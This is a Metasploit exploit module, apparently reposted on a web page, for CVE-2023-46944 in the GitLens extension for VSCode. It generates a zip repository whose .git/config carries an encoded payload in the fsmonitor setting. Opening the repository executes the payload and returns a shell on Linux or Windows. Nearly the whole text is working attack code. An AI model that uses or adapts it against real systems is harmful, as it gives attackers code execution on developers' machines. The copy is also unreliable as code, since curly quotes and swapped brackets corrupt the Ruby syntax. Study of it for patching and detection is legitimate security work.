GitLens Git Local Configuration Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super( update_info( info, 'Name' => ‘GitLens Git Local Configuration Exec’,
‘Description’ => %q{
GitKraken GitLens before v.14.0.0 allows an untrusted workspace to execute git
commands. A repo may include its own .git folder including a malicious config file to
execute arbitrary code.
Tested against VSCode 1.87.2 with GitLens 13.6.0 on Ubuntu 22.04 and Windows 10
},
‘License’ => MSF_LICENSE,
‘Author’ => (
‘h00die’, # Metasploit module
‘Paul Gerste’, # Original advisory and PoC
),
‘References’ => (
(‘URL’, ‘https://www.sonarsource.com/blog/vscode-security-markdown-vulnerabilities-in-extensions/’),
(‘URL’, ‘https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/’), # git hook
(‘URL’, ‘https://github.com/gitkraken/vscode-gitlens/commit/ee2a0c42a92d33059a39fd15fbbd5dd3d5ab6440’), # patch
(‘CVE’, ‘2023-46944’)
),
‘DefaultOptions’ => {
‘EXITFUNC’ => ‘thread’,
‘DisablePayloadHandler’ => false,
‘FILENAME’ => ‘repo.zip’,
‘WfsDelay’ => 3_600 # 1hr
},
‘Arch’ => ARCH_CMD,
‘Targets’ => (
(
‘Linux/Unix (In-Memory)’,
{
‘Platform’ => ( ‘unix’, ‘linux’ ),
‘Type’ => :unix_cmd
},
),
# There may be a size limit, but using fetch payloads works great
(
‘PowerShell (In-Memory)’,
{
‘Platform’ => ‘win’,
‘Payload’ => {
‘BadChars’ => ‘”&’
}
}
),
),
‘Notes’ => {
‘Stability’ => (CRASH_SAFE),
‘Reliability’ => (REPEATABLE_SESSION),
‘SideEffects’ => (SCREEN_EFFECTS, ARTIFACTS_ON_DISK) # windows fetch payloads pops up a CMD window for a second, then goes away
},
‘Privileged’ => false,
‘DisclosureDate’ => ‘2023-11-14’
)
)
register_options((
OptString.new(‘README’, (true, ‘The contents of the readme markdown file’, ‘# Test’))
))
end
def readme
datastore(‘README’).to_s
end
def git_head
‘ref: refs/heads/master’
end
def git_config
%((core)
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = “#{payload.encoded} #”) # without the trailing # windows tacks on . so this avoids corrupting the payload
end
def exploit
# Create malicious zip archive containing our git repo
files =
(
{ data: readme, fname: ‘README.md’ },
{ data: git_config, fname: ‘.git/config’ },
{ data: git_head, fname: ‘.git/HEAD’ },
{ data: ”, fname: ‘.git/objects/info/’ },
{ data: ”, fname: ‘.git/objects/pack/’ },
{ data: ”, fname: ‘.git/refs/heads/’ },
{ data: ”, fname: ‘.git/refs/tags/’ },
)
zip = Msf::Util::EXE.to_zip(files)
file_create(zip)
print_status(‘Waiting for shell’)
end
end